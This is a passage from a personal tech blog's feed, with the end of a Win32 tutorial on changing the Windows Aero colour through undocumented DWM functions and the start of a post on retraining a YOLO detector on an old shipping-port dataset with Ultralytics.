id=&quot;the-color-parameters-structure&quot;&gt;The Color Parameters Structure&lt;/h2&gt; &lt;p&gt;The structure maps to registry values in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM&lt;/code&gt;:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;COLORIZATIONPARAMS&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;COLORREF&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clrColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//ColorizationColor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;COLORREF&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clrAftGlow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//ColorizationAfterglow&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UINT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nIntensity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//ColorizationColorBalance -&amp;gt; 0-100&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UINT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clrAftGlowBal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//ColorizationAfterglowBalance&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UINT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clrBlurBal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//ColorizationBlurBalance&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UINT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clrGlassReflInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//ColorizationGlassReflectionIntensity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BOOL&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fOpaque&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DWMColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DWMColor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwmcolor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;COLORREF&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Restore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// This will be used to restore back the colors to default&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;using-the-functions&quot;&gt;Using the Functions&lt;/h2&gt; &lt;p&gt;Always check if composition is enabled first, or the other calls will fail:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;//Need to call DwmIsCompositionEnabled before calling the DwmSetColorizationParameters or it will fail.&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DwmIsCompositionEnabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// If glass composition is not enabled then close up&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MessageBox&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Composition is not enabled&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Unable to work!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MB_ICONERROR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FreeLibrary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EndDialog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// The undocumented functions are not there, sorry&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmGetColorizationParameters&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DwmSetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MessageBox&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Unable to find necessary functions in library&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MB_ICONERROR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FreeLibrary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EndDialog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hWnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DwmGetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwmcolor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Get current values&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Restore&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwmcolor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clrColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//Backup current color&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Here’s a timer that changes the color randomly:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WM_TIMER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;G&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;B&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwmcolor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clrColor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RGB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;G&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;B&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DwmSetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwmcolor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Restore the original color when closing:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;dwmcolor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clrColor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Restore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DwmSetColorizationParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwmcolor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Restore color back&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;And free the DLL:&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;FreeLibrary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hDwmDLL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Free the loaded DWM Library&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;You can download the complete source code &lt;a href=&quot;/assets/files/aerocolor/aero-color-changing.zip&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;/p&gt; &lt;h2 id=&quot;what-you-could-do-with-this&quot;&gt;What You Could Do With This&lt;/h2&gt; &lt;p&gt;You could build an app that changes the Aero color based on temperature, or matches it to your wallpaper’s dominant color. The color changes immediately without restarting DWM.&lt;/p&gt; &lt;p&gt;For more Win32 drawing work, see &lt;a href=&quot;/windows-flicker-free-text-scrolling-with-double-buffering/&quot;&gt;flicker-free text scrolling with double buffering&lt;/a&gt;.&lt;/p&gt; </description> <pubDate>Fri, 09 Aug 2019 00:00:00 +0000</pubDate> <link>https://tejashwi.in/changing-windows-aero-color-win32-programming/</link> <guid isPermaLink="true">https://tejashwi.in/changing-windows-aero-color-win32-programming/</guid> <category>windows</category> <category>Windows</category> <category>Win32 API</category> </item> <item> <title>Training a YOLO object detector on a custom dataset</title> <description>&lt;p&gt;This post used to be a Darknet tutorial. It walked through training YOLOv3 on a custom dataset, and most of its length went on editing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cfg&lt;/code&gt; file: work out &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filters = (classes + 5) * 3&lt;/code&gt; for each of the three YOLO layers, set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;max_batches&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;classes * 2000&lt;/code&gt;, then set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steps&lt;/code&gt; to 80% and 90% of that. Reading it back, the arithmetic is laid out clearly enough. It is also the single least useful thing I could have spent that many words on.&lt;/p&gt; &lt;p&gt;None of it is worth reading now. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pjreddie/darknet&lt;/code&gt; has not taken a commit since July 2022, and the repo is not archived so it still looks alive if you only glance. HyperLabel, which I used to draw the boxes, does not resolve at all any more, which means the very first instruction in the old post sends you to a dead domain.&lt;/p&gt; &lt;p&gt;The data outlived the tooling. Same 750 frames from a shipping-port video, same five classes, still sitting on this site where I put them in 2019: &lt;a href=&quot;/assets/files/yolo/yolo-dataset.zip&quot;&gt;yolo-dataset.zip&lt;/a&gt;, 20 MB, 750 JPEGs with a matching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.txt&lt;/code&gt; label each. So I kept the dataset, threw away everything else, and retrained.&lt;/p&gt; &lt;p&gt;Everything below is output from a run I did on a Colab T4. The &lt;a href=&quot;/assets/files/object-detection/train-object-detector.ipynb&quot;&gt;notebook&lt;/a&gt; runs the whole thing top to bottom.&lt;/p&gt; &lt;h2 id=&quot;getting-the-old-data-into-the-new-tool&quot;&gt;Getting the old data into the new tool&lt;/h2&gt; &lt;p&gt;This part turned out to be free, which I did not expect. Darknet writes labels as one row per box, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;class cx cy w h&lt;/code&gt;, normalised to 0-1, and that is exactly the format Ultralytics reads. The 2019 annotations load into a 2026 trainer with no conversion at all. All I had to do was shuffle the files into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;images/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;labels/&lt;/code&gt; folders and write a small YAML.&lt;/p&gt; &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib.request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zipfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pathlib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shutil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;urlretrieve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;https://tejashwi.in/assets/files/yolo/yolo-dataset.zip&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;yolo-dataset.zip&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;zipfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ZipFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;yolo-dataset.zip&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;extractall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;raw&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;raw/obj.names&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pathlib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;raw/img&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pairs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;with_suffix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sorted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;glob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*.jpg&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;with_suffix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.txt&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;root&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pathlib&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;boats&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;shuffle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pairs&lt;/span&gt;&lt;span 